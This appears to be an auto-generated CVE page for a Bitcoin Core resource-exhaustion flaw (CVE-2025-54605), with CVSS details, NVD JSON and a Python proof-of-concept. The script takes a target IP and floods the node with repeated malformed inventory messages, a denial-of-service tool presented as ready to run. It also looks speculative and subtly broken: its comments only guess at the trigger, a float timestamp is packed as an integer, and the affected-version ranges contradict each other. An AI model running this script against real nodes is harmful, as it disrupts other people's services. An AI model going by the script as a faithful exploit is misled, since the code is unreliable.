Security Vulnerability Report
中文
CVE-2025-54605 CVSS 7.5 HIGH

CVE-2025-54605

Published: 2025-10-28 17:15:38
Last Modified: 2025-11-07 14:58:30

Description

Bitcoin Core through 29.0 allows Uncontrolled Resource Consumption (issue 2 of 2).

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:bitcoin:bitcoin_core:*:*:*:*:*:*:*:* - VULNERABLE
Bitcoin Core < 29.0
Bitcoin Core 28.x 及之前版本
Bitcoin Core 27.x 及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-54605 PoC - Bitcoin Core Uncontrolled Resource Consumption This PoC demonstrates sending a malformed message to trigger resource exhaustion. For authorized security research only. """ import socket import struct import time import random def create_malformed_message(): """ Create a malformed Bitcoin protocol message that can trigger resource consumption in vulnerable Bitcoin Core versions. """ # Magic bytes for mainnet magic = b'\xf9\xbe\xb4\xd9' # Malformed message command (8 bytes, null-padded) command = b'inv\x00\x00\x00\x00' # Create inventory vector with malformed data # Type: MSG_TX (1) with invalid hash inventory_type = struct.pack('<I', 1) inventory_hash = b'\x00' * 32 # Zero hash (may trigger edge case) # Create inventory items with excessive count inventory_items = (inventory_type + inventory_hash) * 1000 # Payload with inventory items payload = inventory_items # Calculate checksum (first 4 bytes of double SHA256) import hashlib checksum = hashlib.sha256(hashlib.sha256(payload).digest()).digest()[:4] # Construct full message message = magic + command + struct.pack('<I', len(payload)) + checksum + payload return message def send_malformed_messages(target_host, target_port=8333, num_messages=100): """ Send malformed messages to Bitcoin Core node. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print(f"[*] Connected to {target_host}:{target_port}") # Send version message first version_msg = create_version_message() sock.sendall(version_msg) time.sleep(1) # Send malformed messages malformed_msg = create_malformed_message() print(f"[*] Sending {num_messages} malformed messages...") for i in range(num_messages): try: sock.sendall(malformed_msg) if i % 10 == 0: print(f"[*] Progress: {i}/{num_messages}") time.sleep(0.1) except Exception as e: print(f"[!] Error sending message {i}: {e}") break print("[*] Attack completed") sock.close() except Exception as e: print(f"[!] Connection error: {e}") def create_version_message(): """Create a basic version message for protocol handshake.""" magic = b'\xf9\xbe\xb4\xd9' command = b'version\x00\x00' # Simplified version message payload payload = struct.pack('<q', 70015) # Protocol version payload += struct.pack('<q', 1) # Services payload += struct.pack('<q', time.time()) # Timestamp payload += b'\x00' * 26 # Remote services and address payload += b'\x00' * 26 # Local services and address payload += struct.pack('<q', random.randint(0, 2**64 - 1)) # Nonce payload += struct.pack('<B', 0) # User agent length payload += struct.pack('<i', -1) # Start height payload += struct.pack('<B', 0) # Relay checksum = hashlib.sha256(hashlib.sha256(payload).digest()).digest()[:4] return magic + command + struct.pack('<I', len(payload)) + checksum + payload if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_54605_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8333 print("=" * 60) print("CVE-2025-54605 PoC - Bitcoin Core Uncontrolled Resource Consumption") print("WARNING: For authorized security testing only") print("=" * 60) send_malformed_messages(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54605", "sourceIdentifier": "[email protected]", "published": "2025-10-28T17:15:37.903", "lastModified": "2025-11-07T14:58:30.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bitcoin Core through 29.0 allows Uncontrolled Resource Consumption (issue 2 of 2)."}, {"lang": "es", "value": "Bitcoin Core hasta la versión 29.0 permite el consumo incontrolado de Recursos (problema 2 de 2)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bitcoin:bitcoin_core:*:*:*:*:*:*:*:*", "versionEndExcluding": "30.0", "matchCriteriaId": "73AD311B-8660-4E8B-BBE7-CCF01AA6ECD8"}]}]}], "references": [{"url": "https://bitcoincore.org/en/2025/10/24/disclose-cve-2025-54605/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/bitcoin/bitcoin/releases", "source": "[email protected]", "tags": ["Release Notes"]}]}}